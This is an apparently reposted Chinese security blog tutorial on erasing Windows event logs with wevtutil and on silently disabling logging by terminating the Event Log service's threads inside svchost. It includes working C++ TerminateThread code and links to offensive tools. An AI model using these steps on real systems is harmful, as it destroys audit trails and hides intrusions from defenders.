Windows日志的删除与绕过


Windows日志的清除与绕过

简介
  • 日志的清除
  • 日志的绕过
分类
  • 应用程序
  • 安全
  • setup
  • 系统
  • 转发事件
日志查看方法
  1. 我的电脑右键-管理-计算机管理-管理工具-事件查看器
  2. control-管理工具-事件查看器
  3. 搜索
  4. eventvwr
  5. win10右键开始菜单-事件查看器
  6. powershell Get-winevent查看所有日志
清除方法
  1. wevtutil.exe
    操作系统默认包含,win7及以上
    1. 统计日志列表,查询所有日志信息。
      wevtutile.exe gli Application
    2. 查看指定类型日志
      wevtutil qe /f:text Application
    3. 删除该类日志所有内容
      wevtutil cl Application
  2. NSA DanderSpiritz

相关链接:https://3gstudent.github.io/3gstudent.github.io/NSA-DanderSpiritz测试指南-木马生成与测试/

Windows日志绕过方法
原理:

Windows日志对应于eventlog服务,找到该服务对应的进程svchost.exe,进而筛选出svchost.exe进程中具体实现日志功能的线程,调用TerminateThread结束线程,破坏日志记录功能

特点:

由于只结束了实现日志功能的线程,所以Windows Event Log服务没有被破坏,状态仍为正在运行

绕过方法一:
  1. 定位eventlog服务对应进程svchost.exe的pid
  2. 遍历该进程中的所有线程
  3. 判断线程是否满足条件Windows Event Log 服务需要调用wevtsvc.dll,完整路径为%WinDir%\System32\wevtsvc.dll并且,如果线程调用了wevtsvc.dll,就可以判读该线程实现了日志记录功能
  4. 结束线程使用TerminateThread

注:

Halil Dalabasmaz@hlldz使用powershell实现了方法一,完整代码可参考:https://github.com/hlldz/Invoke-Phant0mpowershell脚本执行后,Windows日志功能失效,无法记录日志,操作如下图

  1. 恢复方法结束进程svchost.exe重新开启Windows Event Log 服务:net start eventlog
绕过方法二
  1. 定位eventlog服务对应进程svchost.exe的pidpowershell代码如下:
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
  1. 遍历该进程中的所有线程
    使用PsList,下载地址:https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx
    具体参数如下:
    pslist.exe /accepteula -d 7008
    获取进程svchost.exe中的所有线程,如下图

  2. 判断线程是否满足条件

获取线程对应的服务,如果为eventlog,则满足条件使用工具:ScTagQuery,下载地址:http://www.winsiderss.com/tools/sctagquery/sctagqry.zip
具体参数如下:
sctagqry.exe -t 7928
根据返回的结果Service Tag,判断线程对应的服务找到对应eventlog的线程,如下图

线程8136符合条件,依次尝试,直到获取所有符合条件线程

注:
使用Process Explorer可以简化此过程找到eventlog服务对应进程svchost.exe如下图

右键查看属性,选择Threads标签,查看线程,可直接获得线程对应的服务如下图

符合条件的线程TID为:

  • 8136
  • 8052
  • 6708
  • 2316
  • 6356
  1. 结束线程
    调用TerminateThread通过c++实现,部分代码如下:

/*
    TerminateEventLogThread.cpp
    Author:3gstudent@3gstudent
    Use to terminate Event Log thread
*/

#include <windows.h>

BOOL SetPrivilege()  
{  
    HANDLE hToken;   
    TOKEN_PRIVILEGES NewState;   
    LUID luidPrivilegeLUID;   
    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID))   
    {   
        printf("SetPrivilege Error\n");  
        return FALSE;   
    }   
    NewState.PrivilegeCount = 1;   
    NewState.Privileges[0].Luid = luidPrivilegeLUID;   
    NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   
    if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))  
    {  
        printf("AdjustTokenPrivilege Errro\n");  
        return FALSE;  
    }  
    return TRUE;  
}
int main(int argc, char* argv[])
{       
        SetPrivilege();
        printf("TerminateThread TID:\n");       
        for(int i=1;i<argc;i++)
        {       
                printf("%s\n",argv[i]);
                HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
                if(TerminateThread(hThread,0)==0)
                        printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
                CloseHandle(hThread);
        }  
        return 0;
}

控制台支持传入多个参数,向其传入5个TID: 8136 8052 6708 2316 6356自动结束对应线程,日志功能失效
具体操作如下图:

完整实现代码https://github.com/3gstudent/Windwos-EventLog-Bypass

补充
  1. 安装sysmon可对Windows日志功能进行扩展
    参考:https://3gstudent.github.io/3gstudent.github.io/通过APC实现Dll注入-绕过Sysmon监控/
  2. 绕过方法仅针对windows日志
    对应用程序和服务日志失效,例如Windows Powershell

文章摘自3gstudent博客


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM